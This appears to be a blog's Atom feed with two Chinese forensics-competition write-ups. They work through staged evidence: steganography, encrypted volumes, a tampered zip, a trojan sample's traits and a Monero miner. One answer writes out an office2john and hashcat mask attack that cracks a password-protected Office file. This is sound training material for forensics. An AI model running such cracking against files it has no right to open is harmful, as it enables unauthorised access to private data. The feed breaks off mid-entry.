<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Joyooo</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://joyooosama.github.io/blog/</id>
  <link href="https://joyooosama.github.io/blog/" rel="alternate"/>
  <link href="https://joyooosama.github.io/blog/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Joyooo</rights>
  <subtitle>BRUTALIST ANIME BLOG</subtitle>
  <title>Joyooo</title>
  <updated>2026-06-16T02:51:30.000Z</updated>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="知识库" scheme="https://joyooosama.github.io/blog/categories/%E7%9F%A5%E8%AF%86%E5%BA%93/"/>
    <category term="比赛WP" scheme="https://joyooosama.github.io/blog/tags/%E6%AF%94%E8%B5%9BWP/"/>
    <category term="知识库" scheme="https://joyooosama.github.io/blog/tags/%E7%9F%A5%E8%AF%86%E5%BA%93/"/>
    <content>
      <![CDATA[<p>检材密码：EVJbYf&amp;+eStnx5B+C^bj%YPSr)gr</p><h1 id="计算机"><a href="#计算机" class="headerlink" title="计算机"></a>计算机</h1><h3 id="1-密码连续错误输入多少次数后，系统会自动锁定用户账户？"><a href="#1-密码连续错误输入多少次数后，系统会自动锁定用户账户？" class="headerlink" title="1. 密码连续错误输入多少次数后，系统会自动锁定用户账户？"></a>1. 密码连续错误输入多少次数后，系统会自动锁定用户账户？</h3><ul><li>答案：<code>3</code><br>直接试一试，得到是3</li></ul><h3 id="2-检材中对应的微信-wxid-是多少？"><a href="#2-检材中对应的微信-wxid-是多少？" class="headerlink" title="2. 检材中对应的微信 wxid 是多少？"></a>2. 检材中对应的微信 wxid 是多少？</h3><ul><li>答案：<code>wxid_q1w2e3r4t5y6u7i8o9</code></li></ul><p><img src="/blog/img/obsidian/2026-wp-2e75d360/9925257a1576168fd3a1d3b00fce6a82_MD5.jpg"></p><h3 id="3-E-盘-BitLocker-恢复密钥末尾六位是多少？"><a href="#3-E-盘-BitLocker-恢复密钥末尾六位是多少？" class="headerlink" title="3. E 盘 BitLocker 恢复密钥末尾六位是多少？"></a>3. E 盘 BitLocker 恢复密钥末尾六位是多少？</h3><ul><li>答案：<code>126269</code><br>MsgAttach下有两张ai生成图片，扫码得到恢复密钥<br><img src="/blog/img/obsidian/2026-wp-2e75d360/00d48f4ef4793c9216db47795b852b30_MD5.jpg"></li></ul><p><img src="/blog/img/obsidian/2026-wp-2e75d360/74ad2016302d69cd93cadbe3f326b698_MD5.jpg"></p><h3 id="4-VC-加密容器的外层加密卷密码是什么？"><a href="#4-VC-加密容器的外层加密卷密码是什么？" class="headerlink" title="4. VC 加密容器的外层加密卷密码是什么？"></a>4. VC 加密容器的外层加密卷密码是什么？</h3><ul><li>答案：<code>JHTJ！@#￥A313</code></li></ul><p><img src="/blog/img/obsidian/2026-wp-2e75d360/3ad3c1e4c746866b27220d2708d45b49_MD5.jpg"><br>1.png是一个文本提示文件</p><h3 id="5-带有“豆包AI生成”水印的图片一共有多少张？"><a href="#5-带有“豆包AI生成”水印的图片一共有多少张？" class="headerlink" title="5. 带有“豆包AI生成”水印的图片一共有多少张？"></a>5. 带有“豆包AI生成”水印的图片一共有多少张？</h3><ul><li>答案：<code>6</code></li></ul><p><code>Pictures</code> 下 4 张，加上微信附件 <code>低价清单 (8).png</code>、<code>低价清单 (9).png</code> 共 6 张。</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/52efb67b7908d8755a53dc4e1ac9fb0d_MD5.jpg"></p><h3 id="6-VC-加密容器的隐藏加密卷密码是什么？"><a href="#6-VC-加密容器的隐藏加密卷密码是什么？" class="headerlink" title="6. VC 加密容器的隐藏加密卷密码是什么？"></a>6. VC 加密容器的隐藏加密卷密码是什么？</h3><p>ClearSky@SecretSignal#SevenMileJasmine</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/9dd717e90180389678f7a95dc3883c55_MD5.jpg"><br><img src="/blog/img/obsidian/2026-wp-2e75d360/327e0718cfb1bc2538691ab5677544c7_MD5.jpg"><br>从picture文件夹里的1-4图片尝试分析隐写</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/6fff7bfb60fbc1164ba4016c27dbebc0_MD5.jpg"><br>�嚼阯丞刈蟇�差蟇��：ClearSky@SecretSignal#SevenMileJasmine<br>但是进不去<br><img src="/blog/img/obsidian/2026-wp-2e75d360/967bbab2c799b24845566c13a1aa95ad_MD5.jpg"><br>后来发现需要桌面上的密钥文件，谁懂，看password下面四个<code>*</code>以为是四位密码爆破</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/220559b90e85abcaebdcbb0a30d8417e_MD5.jpg"></p><h3 id="7-接上题，嫌疑人的接头暗号是什么？"><a href="#7-接上题，嫌疑人的接头暗号是什么？" class="headerlink" title="7. 接上题，嫌疑人的接头暗号是什么？"></a>7. 接上题，嫌疑人的接头暗号是什么？</h3><p>步行9千米</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/c1bf4dd7a03e5c456366643d45443899_MD5.jpg"><br>音频隐写</p><h3 id="8-接上题，嫌疑人的接头地点在哪里？"><a href="#8-接上题，嫌疑人的接头地点在哪里？" class="headerlink" title="8. 接上题，嫌疑人的接头地点在哪里？"></a>8. 接上题，嫌疑人的接头地点在哪里？</h3><p>Taipei 101 building 502 room</p><p>picture文件夹下，在四张二进制书图样的图片里<br>&#96;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">@&#x27;</span><br><span class="line">image_bits = &#123;</span><br><span class="line">    &quot;5.png&quot;: [&quot;10001110&quot;,&quot;10111011&quot;,&quot;10110011&quot;,&quot;10101010&quot;,&quot;10111111&quot;,&quot;10110011&quot;,&quot;11111010&quot;],</span><br><span class="line">    &quot;6.png&quot;: [&quot;11101011&quot;,&quot;11101010&quot;,&quot;11101011&quot;,&quot;11111010&quot;,&quot;10111000&quot;,&quot;10101111&quot;,&quot;10110011&quot;],</span><br><span class="line">    &quot;7.png&quot;: [&quot;10110110&quot;,&quot;10111110&quot;,&quot;10110011&quot;,&quot;10110100&quot;,&quot;10111101&quot;,&quot;11111010&quot;,&quot;11101111&quot;],</span><br><span class="line">    &quot;8.png&quot;: [&quot;11101010&quot;,&quot;11101000&quot;,&quot;11111010&quot;,&quot;10101000&quot;,&quot;10110101&quot;,&quot;10110101&quot;,&quot;10110111&quot;],</span><br><span class="line">&#125;</span><br><span class="line">order = [&quot;5.png&quot;, &quot;6.png&quot;, &quot;7.png&quot;, &quot;8.png&quot;]</span><br><span class="line">key = 0xDA</span><br><span class="line">msg = &quot;&quot;</span><br><span class="line">for name in order:</span><br><span class="line">    part = &quot;&quot;.join(chr(int(b, 2) ^ key) for b in image_bits[name])</span><br><span class="line">    print(f&quot;&#123;name&#125;: &#123;part&#125;&quot;)</span><br><span class="line">    msg += part</span><br><span class="line">print(&quot;\n最终结果:&quot;, msg)</span><br><span class="line">&#x27;@ | python -</span><br></pre></td></tr></table></figure><p><img src="/blog/img/obsidian/2026-wp-2e75d360/ec3af66d12988953c86630a00ee3c185_MD5.jpg"></p><h3 id="9-木马残留样本中，核心信息窃取配置数量为多少？"><a href="#9-木马残留样本中，核心信息窃取配置数量为多少？" class="headerlink" title="9. 木马残留样本中，核心信息窃取配置数量为多少？"></a>9. 木马残留样本中，核心信息窃取配置数量为多少？</h3><p>5</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/4c197eb1a438a47ddd9b84f4df3a3699_MD5.jpg">bitlocker打开的盘里面有一个c文件<br>看起来像是源码,分析源码得到5个</p><h3 id="10-木马残留样本中，申请的内存保护标志是什么？（尤其注意格式）"><a href="#10-木马残留样本中，申请的内存保护标志是什么？（尤其注意格式）" class="headerlink" title="10. 木马残留样本中，申请的内存保护标志是什么？（尤其注意格式）"></a>10. 木马残留样本中，申请的内存保护标志是什么？（尤其注意格式）</h3><p><code>PAGE_EXECUTE_READWRITE (0x40)</code></p><p>注入申请是 <code>VirtualAllocEx(..., PAGE_EXECUTE_READWRITE)</code></p><h3 id="11-嫌疑人涉案交易使用的银行卡号是什么？"><a href="#11-嫌疑人涉案交易使用的银行卡号是什么？" class="headerlink" title="11. 嫌疑人涉案交易使用的银行卡号是什么？"></a>11. 嫌疑人涉案交易使用的银行卡号是什么？</h3><p>6221882234367490125</p><p>文件为 Office 加密容器；同目录 <code>密码.txt</code> 给出格式 <code>4字母前缀 + 1特殊符号 + 8位日期</code>。取文件日期 <code>2026-05-12</code>，掩码爆破得到密码 <code>JUHE@20260512</code>；用 <code>msoffcrypto</code> 解密后，从 <code>xl/sharedStrings.xml</code> 中提取 19 位银行卡号。</p><p>思路：<br><code>交易银行卡.xlsx</code> 是 Office 加密文件，<code>密码.txt</code> 给了密码格式：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">【4个字母前缀】 + 【1个特殊符号分隔符】 + 【8位当天日期】</span><br></pre></td></tr></table></figure><p>先看文件时间，<code>交易银行卡.xlsx</code> 修改时间是 <code>2026-05-12</code>，因此固定日期部分取：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">20260512</span><br></pre></td></tr></table></figure><p>先提取 Office 哈希：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python D:\Programs\JtR\run\office2john.py C:\temp\bank.xlsx &gt; C:\temp\bank.hash</span><br></pre></td></tr></table></figure><p><code>office2john.py</code> 输出是 UTF-16LE，需要清洗成正常 hash。清洗脚本：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">text = open(r&#x27;C:\temp\bank.hash&#x27;, &#x27;rb&#x27;).read().decode(&#x27;utf-16le&#x27;).strip()</span><br><span class="line">open(r&#x27;C:\temp\bank_clean.hash&#x27;, &#x27;w&#x27;, encoding=&#x27;ascii&#x27;).write(text.split(&#x27;:&#x27;, 1)[1] + &#x27;\n&#x27;)</span><br></pre></td></tr></table></figure><p>然后用 <code>hashcat</code> 按掩码爆破：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">D:\Programs\hashcat-7.1.2\hashcat.exe -m 9400 -a 3 C:\temp\bank_clean.hash ?u?u?u?u?s20260512 -O --potfile-path C:\temp\bank.pot --outfile C:\temp\bank.out</span><br></pre></td></tr></table></figure><p>爆破得到密码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">JUHE@20260512</span><br></pre></td></tr></table></figure><p>再用 <code>msoffcrypto</code> 解密表格：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">import io</span><br><span class="line">import msoffcrypto</span><br><span class="line"></span><br><span class="line">with open(r&#x27;C:\temp\bank.xlsx&#x27;, &#x27;rb&#x27;) as f:</span><br><span class="line">    office = msoffcrypto.OfficeFile(f)</span><br><span class="line">    office.load_key(password=&#x27;JUHE@20260512&#x27;)</span><br><span class="line">    buf = io.BytesIO()</span><br><span class="line">    office.decrypt(buf)</span><br><span class="line"></span><br><span class="line">open(r&#x27;C:\temp\bank_dec.xlsx&#x27;, &#x27;wb&#x27;).write(buf.getvalue())</span><br></pre></td></tr></table></figure><p>最后读取表格内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">from openpyxl import load_workbook</span><br><span class="line"></span><br><span class="line">wb = load_workbook(r&#x27;C:\temp\bank_dec.xlsx&#x27;, data_only=True)</span><br><span class="line">for ws in wb.worksheets:</span><br><span class="line">    for row in ws.iter_rows(values_only=True):</span><br><span class="line">        print(row)</span><br></pre></td></tr></table></figure><p>输出中可见：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(&#x27;6221882234367490125&#x27;,)</span><br></pre></td></tr></table></figure><p>因此涉案交易使用的银行卡号为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">6221882234367490125</span><br></pre></td></tr></table></figure><h3 id="12-AI-换脸图片大概率使用的-AI-模型是哪一个？"><a href="#12-AI-换脸图片大概率使用的-AI-模型是哪一个？" class="headerlink" title="12. AI 换脸图片大概率使用的 AI 模型是哪一个？"></a>12. AI 换脸图片大概率使用的 AI 模型是哪一个？</h3><p>上网搜索ai生成照片检测网站，找到<code>https://hivedetect.ai</code></p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/240df17b5e99261e16c3228242831812_MD5.jpg"><br>可以看到模型是steadydancer</p><h3 id="13-萤小石的身份证号码是什么？"><a href="#13-萤小石的身份证号码是什么？" class="headerlink" title="13. 萤小石的身份证号码是什么？"></a>13. 萤小石的身份证号码是什么？</h3><p>330122199801209527</p><p>散落版 <code>1.png</code> 已损坏；<code>身份证.zip</code> 中的成员被动过手脚，需手工解析 zip 结构取出完整 PNG 数据。完整图可见姓名&#x2F;性别&#x2F;民族&#x2F;生日；真正号码以文本方式藏在 PNG 尾部、<code>IEND</code> 前。提取后得到 18 位号码，并与生日段、校验位核对通过。</p><p>思路：<br><code>L:\身份证\1.png</code> 是散落在外面的损坏版图片，而 <code>L:\身份证.zip</code> 中保存了完整图片数据，但 zip 文件头被做了手脚，不能直接正常解出。需要手工解析 zip 中真实文件项，再把 deflate 数据解压出来。</p><p>先枚举 zip 的本地文件头，找真实 PNG 文件项：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">import struct</span><br><span class="line"></span><br><span class="line">z = open(r&#x27;C:\temp\idcard.zip&#x27;, &#x27;rb&#x27;).read()</span><br><span class="line">pos = 0</span><br><span class="line"></span><br><span class="line">while True:</span><br><span class="line">    i = z.find(b&#x27;PK\x03\x04&#x27;, pos)</span><br><span class="line">    if i &lt; 0:</span><br><span class="line">        break</span><br><span class="line">    flags = struct.unpack(&#x27;&lt;H&#x27;, z[i+6:i+8])[0]</span><br><span class="line">    method = struct.unpack(&#x27;&lt;H&#x27;, z[i+8:i+10])[0]</span><br><span class="line">    csize = struct.unpack(&#x27;&lt;I&#x27;, z[i+18:i+22])[0]</span><br><span class="line">    usize = struct.unpack(&#x27;&lt;I&#x27;, z[i+22:i+26])[0]</span><br><span class="line">    nlen = struct.unpack(&#x27;&lt;H&#x27;, z[i+26:i+28])[0]</span><br><span class="line">    elen = struct.unpack(&#x27;&lt;H&#x27;, z[i+28:i+30])[0]</span><br><span class="line">    name = z[i+30:i+30+nlen]</span><br><span class="line">    print(i, flags, method, csize, usize, nlen, elen, name)</span><br><span class="line">    pos = i + 4</span><br></pre></td></tr></table></figure><p>输出可见第三个文件项是真实 PNG，偏移为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">129</span><br></pre></td></tr></table></figure><p>然后按偏移手工提取并解压：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">import struct</span><br><span class="line">import zlib</span><br><span class="line"></span><br><span class="line">z = open(r&#x27;C:\temp\idcard.zip&#x27;, &#x27;rb&#x27;).read()</span><br><span class="line">i = 129</span><br><span class="line">nlen = struct.unpack(&#x27;&lt;H&#x27;, z[i+26:i+28])[0]</span><br><span class="line">elen = struct.unpack(&#x27;&lt;H&#x27;, z[i+28:i+30])[0]</span><br><span class="line">csize = struct.unpack(&#x27;&lt;I&#x27;, z[i+18:i+22])[0]</span><br><span class="line"></span><br><span class="line">comp = z[i+30+nlen+elen:i+30+nlen+elen+csize]</span><br><span class="line">raw = zlib.decompress(comp, -15)</span><br><span class="line"></span><br><span class="line">open(r&#x27;C:\temp\idcard_full.png&#x27;, &#x27;wb&#x27;).write(raw)</span><br><span class="line">print(raw[-128:])</span><br></pre></td></tr></table></figure><p>解压后得到完整 PNG。<br><img src="/blog/img/obsidian/2026-wp-2e75d360/idcard_full.png">查看尾部输出，可以看到身份证号码文本直接藏在 PNG 末尾、<code>IEND</code> 前：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">...330122199801209527...IEND...</span><br></pre></td></tr></table></figure><p><img src="/blog/img/obsidian/2026-wp-2e75d360/1b9d6fe8d36585b8d8c8bf54f8707c69_MD5.jpg"></p><h3 id="14-小众通联工具绑定的手机号码为多少？"><a href="#14-小众通联工具绑定的手机号码为多少？" class="headerlink" title="14. 小众通联工具绑定的手机号码为多少？"></a>14. 小众通联工具绑定的手机号码为多少？</h3><p><code>18136091921</code></p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/b4694e1c177ff6c0ef4b47518ca618be_MD5.jpg"><br>在雷电模拟器检材中找到小众通联工具是i聊<br>聊天数据库里有记录</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/f26282143b0f9767fd5a73104d62d424_MD5.jpg"></p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/687f41e073c937430eea5ff315610b06_MD5.jpg"><br>可看到yxs绑定的手机号</p><h3 id="15-小众通联工具添加好友的具体时间是什么？"><a href="#15-小众通联工具添加好友的具体时间是什么？" class="headerlink" title="15. 小众通联工具添加好友的具体时间是什么？"></a>15. 小众通联工具添加好友的具体时间是什么？</h3><p><code>2026-05-13 16:12:37</code><br>同上一题</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/a1ea16c527c16abcb8f73f75b6aa956e_MD5.jpg"></p><h3 id="16-挖矿程序（请勿在本地运行）的版本是什么？"><a href="#16-挖矿程序（请勿在本地运行）的版本是什么？" class="headerlink" title="16. 挖矿程序（请勿在本地运行）的版本是什么？"></a>16. 挖矿程序（请勿在本地运行）的版本是什么？</h3><p>6.26.0<br>在用户痕迹里分析得到可疑程序timo.exe</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/1990ca5e55604ca39db95e57b6d29419_MD5.jpg"><br>结合17题罗门币XMR，能看到同目录下XMR矿池地址，且<code>WinRing0x64.sys</code> 也和这类矿工习惯一致</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/94220a22b4094795bd9fffd417e6ddab_MD5.jpg"><br>查看版本信息，这里原始文件名也应证了上面的结论</p><p><img src="/blog/img/obsidian/2026-wp-2e75d360/4b9c7bb31976b98223ca31592e2606c8_MD5.jpg"></p><h3 id="17-门罗币钱包地址后-6-位是什么？"><a href="#17-门罗币钱包地址后-6-位是什么？" class="headerlink" title="17. 门罗币钱包地址后 6 位是什么？"></a>17. 门罗币钱包地址后 6 位是什么？</h3><p>6soTWp</p><p>看配置文件<br><img src="/blog/img/obsidian/2026-wp-2e75d360/680ecd3252e039d4374252bd53a55e7a_MD5.jpg"><br>看到钱包地址<br><img src="/blog/img/obsidian/2026-wp-2e75d360/33edc71342fc6da98359b1be7ba7cfbd_MD5.jpg"></p>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/06/16/2026-06-16-2026%E7%8D%AC%E8%B1%B8%E6%9D%AF%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%8C%E6%95%B4wp/</id>
    <link href="https://joyooosama.github.io/blog/2026/06/16/2026-06-16-2026%E7%8D%AC%E8%B1%B8%E6%9D%AF%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%8C%E6%95%B4wp/"/>
    <published>2026-06-16T02:51:30.000Z</published>
    <summary>
      <![CDATA[检材密码：EVJbYf&+eStnx5B+C^bj%YPSr)gr 计算机 1. 密码连续错误输入多少次数后，系统会自动锁定用户账户？ 答案： 3 直接试一试，得到是3 2. 检材中对应的微信 wxid 是多少？ 答案： wxid q1w2e3r4t5y6u7i8o9 3. E 盘 BitLocke]]>
    </summary>
    <title>2026獬豸杯计算机完整wp</title>
    <updated>2026-06-16T02:51:30.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="比赛WP" scheme="https://joyooosama.github.io/blog/tags/%E6%AF%94%E8%B5%9BWP/"/>
    <category term="盘古石" scheme="https://joyooosama.github.io/blog/tags/%E7%9B%98%E5%8F%A4%E7%9F%B3/"/>
    <content>
      <![CDATA[<p>比赛时有些遗憾，由于自己没爆开，最后解开pc2的C盘bitlocker只剩下1个多小时，没时间蒸了<br>希望明年能拿一等QWQ</p><h3 id="陈志鹏的pc："><a href="#陈志鹏的pc：" class="headerlink" title="陈志鹏的pc："></a>陈志鹏的pc：</h3><ol><li>分析陈志鹏的pc检材，找出换脸程序的对外服务端口号，[答案格式：四位数字]</li></ol><ul><li>答案：<code>7860</code><br>启动服务看到端口<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/e55bf897d02d5d02d83d3a6b8f424fdc_MD5.jpg"></li></ul><ol><li>分析陈志鹏的pc检材，找出换脸程序的版本号，[答案格式：X.X]</li></ol><ul><li>答案：<code>3.6</code><ol><li>已经在上题定位到程序根目录 <code>facefusion-3.6.0</code></li><li>继续打开 <code>facefusion\metadata.py</code>，里面的 <code>METADATA</code> 字典明确写了 <code>&#39;version&#39;: &#39;3.6.0&#39;</code>。<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/1d89353ef0346e07729382a1ebf30746_MD5.jpg"></li></ol></li></ul><ol start="3"><li>分析陈志鹏的pc检材，换脸程序默认配置了多少个不同的换脸模型，[答案格式：两位数字]</li></ol><ul><li>答案：<code>13</code><br>assets目录下有看到modle，一共是13个<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/71a8d434c977742038a56ba0ae79650f_MD5.jpg"></li></ul><ol start="4"><li>分析陈志鹏的pc检材，换脸程序处理完成后默认保存输出文件的文件夹路径是？[答案格式：绝对路径]</li></ol><ul><li>答案：<code>C:\Users\Administrator\Documents</code><br>直接看 FaceFusion 的历史任务记录，看到输出路径都<code>C:\Users\Administrator\Documents</code>下<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/34071b4b725492f1bbee3d1c09e15a82_MD5.jpg"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/8a73a52a7586e6bf35305486a0e51a8b_MD5.jpg"></li></ul><ol start="5"><li>分析陈志鹏的pc检材，用户在2026年4月30日最后一次换脸操作生成的文件名是什么？[答案格式：文件名.扩展名]</li></ol><ul><li>答案：<code>c6f02d62.mp4</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/daff4a010ab80b378b2ecc13277c3e53_MD5.jpg"><br>还是在complete目录下看</li></ul><ol start="5"><li>分析陈志鹏的pc检材，给出本地声音生成工具的对外服务端口号？[答案格式：四位数字]</li></ol><ul><li>答案：<code>8080</code><br>在文档目录下找到chattts这个声音生成工具，readme里面有给web端口<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/fab0c2ca73dcd9c5ed2d272caf64db9c_MD5.jpg"></li></ul><ol start="7"><li>分析陈志鹏的pc检材，给出音频生成工具创建语音时使用的默认随机种子数值？[答案格式：数字]</li></ol><ul><li>答案：<code>42</code><br>webui.py中能看到一些默认值：<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/580c07c45818686edf9cbd0cf4479852_MD5.jpg"><br>这里写了两个默认种子值：2和42<br>又看到工具根目录下有个images文件夹<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/80aac126a09b85238a27458dae925e6d_MD5.jpg"><br>看到和默认文本相符，那么对应的种子值应该是截图上的42<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/1e8f634d9cc4e0dc3950a04d78170a0d_MD5.jpg"></li></ul><ol start="8"><li>分析陈志鹏的pc检材，给出音频生成工具生成的音频文件默认保存的文件名？[答案格式：纯英文文件名]</li></ol><ul><li>答案：<code>audio.wav</code><br>推测应该在下载目录里<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/1bbc00117b3311f58de23876c50d8aaa_MD5.jpg"><br>这个显然是下载了两次重名，那么默认文件名就是audio.wav</li></ul><ol start="9"><li><p>分析陈志鹏的pc检材，给出存放在桌面上的密码备忘文件的内容？[答案格式：纯数字字符串]<br>直接看是没有的，尝试数据恢复也没有，怀疑是和D盘的secret.txt有关系，但是bitlocker恢复密钥没爆出来，暂先留着</p></li><li><p>分析陈志鹏的pc检材，用户使用文件粉碎工具彻底删除了一个文件，给出该粉碎工具的版本号？[答案格式：版本号如X.X.X.X]</p></li></ol><ul><li>答案：<code>6.0.0.0</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/b25862d2c94a27f97c04ebbec4e598da_MD5.jpg"><br> 看到火绒里的粉碎记录<br>锁定到具体执行功能的工具exe，看到版本号：6.0.0.0<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/6df727c72a52f4d7bd6bb2abc144ef35_MD5.jpg"></li></ul><ol start="11"><li>分析陈志鹏的pc检材，给出使用直播软件时的音频输出码率设置值？[答案格式：123]</li></ol><ul><li>答案：<code>128</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/5d2b02f1f7e5c69f6a15c7bb188db3c4_MD5.jpg"><br>直接在软件的输出设置里找到</li></ul><h3 id="韦明辉的pc"><a href="#韦明辉的pc" class="headerlink" title="韦明辉的pc"></a>韦明辉的pc</h3><p>067474-555071-622369-111650-651354-121858-406439-542289<br>这个是C盘的bitlocker恢复密钥（apk部分题目中得到）</p><ol start="12"><li>分析韦明辉计算机检材，请给出磁盘的总扇区数？[答案格式：100,00]</li></ol><ul><li>答案：<code>536870912</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/758adc7a22e11b6cbdb59876fe258a33_MD5.jpg"></li></ul><ol start="13"><li>分析韦明辉计算机检材，请给出系统安装时间（UTC+8）？[答案格式：YYYY-MM-DD-HH:mm:ss]</li></ol><ul><li>答案：<code>2025-08-08-12:20:35</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/348b1fa35dd06b1d847a9078684835b6_MD5.jpg"><br>CST+8和UTC+8不用换算</li></ul><ol start="14"><li>分析韦明辉计算机检材，电脑内曾接入过一个1.8T的移动磁盘，请给出该磁盘的序列号的后六位？[答案格式：字母大写]</li></ol><ul><li>答案：<code>B5C5H5</code><br>正常从火眼分析里看<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/094ba6eaac6fdbd96fa03240f42f1223_MD5.jpg"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/70e91e3825d96243a9b9e00360e84813_MD5.jpg"><br>其实也可以从内存做，它恰好是唯一的一个移动硬盘：将内存里的记录给本地ai分析<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/f42f09e1bd76b14648c6739250293ff7_MD5.jpg"></li></ul><ol start="15"><li>分析韦明辉计算机检材，请给出嫌疑人登录github所使用的账号？[答案格式：<a href="mailto:&#120;&#120;&#x78;&#64;&#120;&#120;&#x2e;&#120;&#120;">xxx@xx.xx</a>]</li></ol><ul><li>答案：<code>1723696192@qq.com</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/a9cfe1a7e319dddab1d312673b6a7820_MD5.jpg"><br>现在浏览器中锁定登陆行为及时间<br>然后2026-04-21 16:41:07-2026-04-21 16:41:35之间找记录<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/2e7d30f7c3b4bf7caea613d899e888dc_MD5.jpg"><br>看到表单里的账号 <code>1723696192@qq.com</code>,时间上非常合理</li></ul><ol start="16"><li>分析韦明辉计算机检材，请给出嫌疑人计算机内默认浏览器的版本号？[答案格式：xxx.x.xxxx.xx]</li></ol><ul><li>答案：<code>147.0.7727.102</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/7dde6fcff6fba5fc20ce943c0855f1d6_MD5.jpg"><br>默认浏览器是edge<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/a89a94bad9cb82aef71f0b0db3b1e8a8_MD5.jpg"></li></ul><ol 